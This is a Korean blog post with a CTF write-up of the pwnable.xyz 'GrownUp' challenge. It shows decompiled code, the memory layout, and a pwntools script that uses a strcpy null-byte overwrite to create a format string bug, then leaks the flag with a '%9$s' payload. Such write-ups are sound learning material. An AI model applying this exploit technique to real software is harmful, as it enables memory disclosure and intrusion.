pwnable.xyz - GrownUp

2021. 8. 2. 11:08Pwnable

// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *src; // ST08_8
  __int64 buf; // [rsp+10h] [rbp-20h]
  __int64 v6; // [rsp+18h] [rbp-18h]
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  setup(*&argc, argv, envp);
  buf = 0LL;
  v6 = 0LL;
  printf("Are you 18 years or older? [y/N]: ");
  *(&buf + (read(0, &buf, 0x10uLL) - 1)) = 0;
  if ( buf != 121 && buf != 89 )
    return 0;
  src = malloc(0x84uLL);
  printf("Name: ", &buf);
  read(0, src, 0x80uLL);
  strcpy(usr, src);
  printf("Welcome ", src);
  printf(qword_601160, usr);
  return 0;
}

문제를 확인하면 일단 처음에 input하나를 받아서 y인지 확인하고,

read한번을 더 한다.

기본적인 fsb문제인데

.bss:00000000006010E0 ; char usr[128]
.bss:00000000006010E0 usr             db 80h dup(?)           ; DATA XREF: main+B6↑o
.bss:00000000006010E0                                         ; main+DA↑o
.bss:0000000000601160 ; char *qword_601160
.bss:0000000000601160 qword_601160    dq ?                    ; DATA XREF: setup+58↑w
.bss:0000000000601160                                         ; main+D3↑r
.bss:0000000000601168 byte_601168     db ?                    ; DATA XREF: setup+51↑o
.bss:0000000000601168                                         ; setup+5F↑w
.bss:0000000000601169 byte_601169     db ?                    ; DATA XREF: setup+66↑w
.bss:000000000060116A byte_60116A     db ?                    ; DATA XREF: setup+6D↑w
.bss:000000000060116B                 align 10h
.bss:000000000060116B _bss            ends
.bss:000000000060116B

bss가 위에 구조로 생겼고,

.data:000000000060107F                 db    0
.data:0000000000601080                 public flag
.data:0000000000601080 flag            db 'FLAG{_the_real_flag_will_be_here_}',0
.data:0000000000601080 _data           ends
.data:0000000000601080

0x601080 위치에 flag값이 존재한다.

2번째 read에서 0x80 을 다 덮어주게 되면 그 부분이 0x601160을 가리키는데 strcpy로 덮게 되면 끝에가 null이 들어가서 해당 주소가 가리키는 부분이 0x6011100이 된다.

printf를 할때 qword_601160을 가져오기 때문에 중간에 존재하는 값들을 읽어서 fsb를 만들어낼 수 있다

from pwn import *

r = remote("svc.pwnable.xyz", 30004)
#r = process("./GrownUpRedist")
e = ELF("./GrownUpRedist")
l = e.libc


context.log_level = "debug"

r.recv()
pay = "y"*8
pay += p64(0x0000000000601080)
r.send(pay)
r.recv()
pay = ""
pay += "A"*0x40
pay += "%9$s"
pay += "A"*(0x80-len(pay))
r.send(pay)
r.interactive()

실제로 돌려보면 9번째 추출값에서 flag가 출력된다.

 

'Pwnable' 카테고리의 다른 글

HackCTF - Unexploitable #3  (0) 2021.08.10
pwnable.xyz - Game  (0) 2021.08.05
pwnable.xyz - two targets  (0) 2021.08.01
dreamhack.io - seccomp  (0) 2021.07.31
dreamhack.io - cpp_smart_pointer_1  (0) 2021.07.29